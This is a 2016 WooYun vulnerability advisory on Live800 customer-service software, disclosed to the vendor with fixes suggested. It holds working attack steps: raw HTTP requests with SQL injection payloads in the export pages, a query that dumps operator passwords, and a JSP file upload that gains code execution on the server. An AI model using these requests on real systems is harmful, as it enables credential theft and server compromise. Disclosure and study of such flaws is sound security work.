当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0177871

漏洞标题:Live800在线客服系统SQL查询/GETSHELL漏洞

相关厂商:live800.com

漏洞作者: applychen

提交时间:2016-02-23 08:49

修复时间:2016-05-23 09:40

公开时间:2016-05-23 09:40

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-23: 细节已通知厂商并且等待厂商处理中
2016-02-23: 厂商已经确认,细节仅向厂商公开
2016-02-26: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-18: 细节向核心白帽子及相关领域专家公开
2016-04-28: 细节向普通白帽子公开
2016-05-08: 细节向实习白帽子公开
2016-05-23: 细节向公众公开

简要描述:

前台SQL查询密码后台GETSHELL漏洞。

详细说明:

在系统中有多处数据导出页面未有权限认证且允许执行SQL查询,并直接把SQL查询结果写到导出文件里面。
以下页面的中的subStrSql参数用于执行SQL语句,注意其中的vn参数的数值:

http://domain/sta/export/referrerSta.jsp
http://domain/sta/export/chatTopicSta.jsp
http://domain/sta/export/chatHoursSta.jsp
http://domain/sta/export/chatUrlSta.jsp


具体数据包如下:

POST /live800/sta/export/referrerSta.jsp HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/live800/sta/referrerTypeSta.jsp
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
export=csv&vn=dataAnalyseAdapter_referrer&operatorId=&fromTime=2016-02-21&toTime=2016-02-22&companyId=1 or 1=1&subStrSql=(select user())


1.png


POST /live800/sta/export/chatHoursSta.jsp HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
export=csv&vn=dataAnalyseAdapter_close_reason&operatorId=&fromTime=2016-02-21&toTime=2016-02-22&companyId=1 or 1=1&subStrSql=(select user())


2.png


POST /live800/sta/export/chatTopicSta.jsp HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 133
export=csv&vn=dataAnalyseAdapter_topic&operatorId=&fromTime=2016-02-21&toTime=2016-02-22&companyId=1 or 1=1&subStrSql=(select user())


3.png


POST /zxkf/sta/export/chatUrlSta.jsp HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 132
export=csv&vn=dataAnalyseAdapter_url&operatorId=&fromTime=2016-02-21&toTime=2016-02-22&companyId= 1 or 1=1&subStrSql=(select user())


4.png


注:这里只列出四个将查询的结果输出到页面的文件,sta目录下还有其他页面的subStrSql、companyid、toTime参数存在盲注,请厂商自行排查。
这里以http://**.**.**.**/live800/为例进行具体测试,查询用户密码:

select group_concat(login_name,0x3a,password) from operator


5.png


拿到账户密码后登陆后台:

6.png


在addOperatorUtil.jsp文件中:

<%@include file="live800Page.jsp"%>
try{
if(request.getParameter("action")!=null){
String companyId = operatorInfo.getCompanyId();
String filePath ="tempFileDir/"+companyId;
String fileName = saveFile(request,filePath);


live800Page.jsp用于验证管理员权限,然后调用saveFile(request,filePath)保存文件,代码为:

String saveFile(HttpServletRequest request,String filePath){
String result ="";
DiskFileUpload fu = new DiskFileUpload();
// 设置允许用户上传文件大小,单位:字节,这里设为2m
fu.setSizeMax(20*1024*1024);
List fileItems = null;
try{
fileItems = fu.parseRequest(request);
}catch(FileUploadException e){
return result;
}
if(fileItems==null){
return result;
}

filePath = UploadAndDownloadServerFile.changeFilePath(request, filePath);
FileUtil.createMenu(filePath);

// 依次处理每个上传的文件
Iterator iter = fileItems.iterator();
iter = fileItems.iterator();
while (iter.hasNext()) {
FileItem item = (FileItem)iter.next();
if (!item.isFormField()) {
String fileName=filePath+"/"+item.getName().substring(item.getName().lastIndexOf("\\")+1,item.getName().length());
File f = new File(fileName);
if(f.exists()){
f.delete();
}
try{
item.write(new File(fileName));
result=fileName;
}catch(Exception e){
return result;
}
}
}
return result;
}


可以看到程序直接从request中获取数据,主要是最终的保存的文件名是怎么处理的:

String fileName=filePath+"/"+item.getName().substring(item.getName().lastIndexOf("\\")+1,item.getName().length());


filePath是保存文件夹由tempFileDir和companyId组成,item.getName().substring(item.getName().lastIndexOf("\\")+1,item.getName().length())获取的就是当前文件名,然后直接使用item.write(new File(fileName))直接写入web目录,整个过程没有过滤后缀导致getshell。
在登陆后台的情况下直接访问:

http://**.**.**.**/live800/addOperatorUtil.jsp


上传一个jsp文件:

POST /live800/addOperatorUtil.jsp?action=1 HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/live800/addOperatorUtil.jsp
Cookie: JSESSIONID=99F2ACEE3BE6F8310392A8819FDD2FEE
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------232122493724742
Content-Length: 235
-----------------------------232122493724742
Content-Disposition: form-data; name="file"; filename="testabc.jsp"
Content-Type: application/ms-excel
<%out.println("live800 test!")%>
-----------------------------232122493724742--


最后访问:

http://**.**.**.**/live800/tempFileDir/8934/testabc.jsp


companyId为数字可由数据库中查询得到,也可直接遍历。

7.png


列几个受影响的站点:

http://**.**.**.**/live800//tempFileDir/3/testabc.jsp
http://**.**.**.**/live800//tempFileDir/8922/testabc.jsp
http://**.**.**.**/live800/tempFileDir/8905/testabc.jsp
http://**.**.**.**/live800/tempFileDir/8048/testabc.jsp
http://**.**.**.**/zxkf/
http://**.**.**.**/chat/
http://**.**.**.**/live800/
http://**.**.**.**/live800/
http://**.**.**.**/live800/
http://**.**.**.**/live800/
http://**.**.**.**/live800/
http://**.**.**.**/live/

漏洞证明:

同上

修复方案:

1、建议排查全部有subStrSql参数的页面
2、排查sta目录下页面是否全部验证权限
3、白名单过滤文件上传后缀

版权声明:转载请注明来源 applychen@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-02-23 09:31

厂商回复:

非常感谢

最新状态:

暂无


漏洞评价:

评价

  1. 2016-02-23 08:52 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    哥哥面前一条弯弯的河妹妹对面唱着一支甜甜的歌哥哥心中荡起层层的波妹妹何时让我渡过你呀的河

  2. 2016-02-23 09:34 | Coody 认证白帽子 ( 核心白帽子 | Rank:1809 漏洞数:214 | 不接单、不黑产;如遇冒名顶替接单收徒、绝...)

    前来膜拜大牛

  3. 2016-02-23 10:22 | Me_Fortune ( 普通白帽子 | Rank:337 漏洞数:112 | The quiter you are,the more you're able ...)

    膜拜大牛

  4. 2016-02-29 09:54 | pudding2 ( 普通白帽子 | Rank:121 漏洞数:43 | 新人报道,请多关照)

    膜拜大牛